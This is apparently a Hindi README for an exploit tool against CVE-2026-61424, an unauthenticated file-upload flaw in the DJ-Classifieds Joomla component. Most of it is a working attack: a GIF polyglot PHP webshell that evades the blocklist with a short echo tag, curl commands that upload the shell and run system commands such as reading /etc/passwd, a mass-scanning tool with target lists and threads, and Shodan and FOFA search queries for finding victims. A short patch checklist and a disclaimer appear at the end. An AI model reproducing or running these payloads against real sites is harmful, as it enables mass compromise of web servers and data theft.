
DJ-Classifieds Joomla कंपोनेंट में बिना प्रमाणीकरण के फ़ाइल अपलोड RCE। PHP शॉर्ट टैग्स के माध्यम से 3-स्ट्रिंग फ़िल्टर बाईपास। CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2
Joomla के लिए DJ-Classifieds में बिना प्रमाणीकरण वाला मनमाना फ़ाइल अपलोड (unauthenticated arbitrary file upload)। imageupload कार्य एंडपॉइंट फ़ाइल अपलोड को बिना प्रमाणीकरण के संसाधित करता है और एक 3-स्ट्रिंग ब्लॉकलिस्ट (<?php, eval(, base64) पर निर्भर करता है, जिसे PHP शॉर्ट ओपन टैग (<?=) का उपयोग करके आसानी से बायपास किया जा सकता है। GIF पॉलीग्लॉट के साथ, अपलोड की गई फ़ाइल सभी छवि सत्यापन जाँचों को पार कर जाती है, जबकि उसमें पूर्ण रूप से कार्यशील PHP वेबशेल होता है।
| स्थिति | संस्करण |
|---|---|
| असुरक्षित | 1.0 — 3.11.1 |
| पैच किया गया | 3.11.2 (20 जुलाई, 2026) |
administrator/components/com_djclassifieds/lib/djupload.php में upload() विधि को imageupload कार्य से मैप किया गया है, जिसमें कोई प्रमाणीकरण जाँच और कोई CSRF टोकन सत्यापन नहीं है।
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method
// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check
$name = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');
// ... writes file to tmp/djupload/<name>
कंटेंट स्कैनर केवल तीन शाब्दिक स्ट्रिंग्स को ब्लॉकलिस्ट करता है:
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
die('Malicious file detected');
}
यह <?php, eval( और base64 को ब्लॉक करता है — लेकिन PHP शॉर्ट ओपन टैग को नहीं:
<?=system($_GET['c']);?> ← 0/3 blocked strings → PASSES
PHP शॉर्ट इको टैग (<?=) PHP 5.4 से डिफ़ॉल्ट रूप से सक्षम हैं।
GIF89a हेडर + <?=system($_GET['c']);?>name=shell.gif के साथ index.php?option=com_djclassifieds&task=imageupload पर POST करें.gif एक्सटेंशन ✓ getimagesize() ✓ कोई <?php/eval(/base64 नहीं ✓tmp/djupload/<shell>.gif में सहेजी जाती हैhttps://target.com/tmp/djupload/shell.gif?c=id| फ़ाइल |
|---|
प्रकटीकरण से पहले वाइल्ड में अनाम स्कैनर प्रोब देखे गए:
POST /index.php?option=com_djclassifieds&task=imageupload
name=<random>.gif filename=<random>.gif
— no cookie, no session, no referer
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt
python cve_2026_61424.py -t target.com
python cve_2026_61424.py -f targets.txt -o shells.txt
$ python cve_2026_61424.py -t target.com
Host : target.com
DJ-Classifieds: YES v3.11.1
Upload : YES
RCE : YES
Shell : https://target.com/tmp/djupload/img_abc123.gif
Output : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
Time : 2.1s
# Step 1 — Upload polyglot shell
curl -sk -X POST \
"https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
-H "Content-Type: image/gif" \
--data-binary @polyglot.gif
# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"
# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"
# DJ-Classifieds component
body="com_djclassifieds"
# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"
# Exposed djupload directory
body="Index of" && body="djupload"
# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"
upload() से पहले JFactory::getUser() गेस्ट जाँचimageupload कार्य पर JSession::checkToken()jpg, jpeg, png, gif)यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके स्वामी आप हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति है। लेखक दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।
DJ-Extensions या mySites.guru से संबद्ध नहीं।
| फ़ील्ड | विवरण |
|---|
| CVE | CVE-2026-61424 |
| उत्पाद | DJ-Classifieds (DJ-Extensions द्वारा Joomla एक्सटेंशन) |
| CVSS 4.0 | 10.0 (क्रिटिकल) |
| प्रकार | CWE-434 — अप्रतिबंधित फ़ाइल अपलोड |
| खोज | Phil Taylor / mySites.guru — 16 जुलाई, 2026 |
| शोषण | प्रकटीकरण से पहले वाइल्ड में पुष्टि की गई |
| भूमिका |
|---|
administrator/components/com_djclassifieds/lib/djupload.php | upload() विधि — बिना प्रमाणीकरण, 3-स्ट्रिंग फ़िल्टर |
components/com_djclassifieds/controller.php | imageupload कार्य को upload() पर रूट करता है |
administrator/components/com_djclassifieds/djclassifieds.xml | <version> टैग के माध्यम से संस्करण प्रकटीकरण |
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|
-t, --target | एकल लक्ष्य होस्ट | — |
-f, --file | लक्ष्यों वाली फ़ाइल (प्रति पंक्ति एक, # टिप्पणियाँ) | — |
-o, --output | RCE URL को फ़ाइल में सहेजें | — |
--threads | सामूहिक मोड के लिए वर्कर थ्रेड | 30 |
--no-cleanup | RCE के बाद शेल न हटाएँ | False |
--debug | डिबग आउटपुट | False |
| संसाधन | लिंक |
|---|
| IONIX थ्रेट सेंटर | ionix.io/threat-center/cve-2026-61424 |
| mySites.guru खोज | mysites.guru/blog/dj-classifieds-unauthenticated-file-upload |
| DJ-Extensions सुरक्षा रिलीज़ | dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release |
| CVE.org रिकॉर्ड | cve.org/CVERecord?id=CVE-2026-61424 |
| INCIBE-CERT | incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424 |